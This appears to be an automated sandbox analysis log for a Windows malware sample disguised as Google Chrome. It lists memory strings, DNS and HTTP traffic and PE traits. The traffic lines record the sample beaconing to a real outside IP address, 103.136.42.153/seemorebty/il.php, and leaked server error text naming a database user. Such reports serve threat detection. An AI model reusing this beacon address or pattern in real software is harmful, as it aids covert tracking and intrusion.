00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502811746.0000000006631000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.googleadservices.com/pagead/p3p.xml
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-26908291-4
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=GTM-PZ6TRJB
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338271728.0000000005151000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484130863.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498555676.0000000006569000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.googletagservices.com/activeview/js/current/osd.js?cb=%2Fr20100101
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338271728.0000000005151000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484130863.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498555676.0000000006569000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.googletagservices.com/activeview/js/current/osd_listener.js?cache=r20110914
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/autotrack/autotrack.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/modernizr/modernizr.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/scrollmagic/ScrollMagic.min.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/scrollmagic/animation.gsap.min.js

Source: unknown

DNS traffic detected: queries for: www.facebook.com

Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='SecuriteInfo.com.Win32.Malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: www.facebook.com
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153
Source: global traffic	HTTP traffic detected: GET /seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674 HTTP/1.1Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3Accept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36Host: 103.136.42.153

Source: unknown	HTTPS traffic detected: 157.240.236.35:443 -> 192.168.2.7:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.236.35:443 -> 192.168.2.7:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.13.92.36:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.60.216.35:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.60.216.35:443 -> 192.168.2.7:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.20.35:443 -> 192.168.2.7:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.17.35:443 -> 192.168.2.7:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.240.20.35:443 -> 192.168.2.7:49780 version: TLS 1.2

System Summary

PE file has a writeable .text section

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.521371371.00000000009A0000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGoogle ChromeN vs SecuriteInfo.com.Win32.Malware-gen.30674.exe
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000000.242970544.000000000099F000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGoogle ChromeN vs SecuriteInfo.com.Win32.Malware-gen.30674.exe
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.521453459.00000000009A0000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGoogle ChromeN vs SecuriteInfo.com.Win32.Malware-gen.30674.exe
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000000.280771702.000000000099F000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGoogle ChromeN vs SecuriteInfo.com.Win32.Malware-gen.30674.exe
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.521339840.00000000009A0000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGoogle ChromeN vs SecuriteInfo.com.Win32.Malware-gen.30674.exe
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000000.295097545.000000000099F000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameGoogle ChromeN vs SecuriteInfo.com.Win32.Malware-gen.30674.exe
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe	Binary or memory string: OriginalFilenameGoogle ChromeN vs SecuriteInfo.com.Win32.Malware-gen.30674.exe

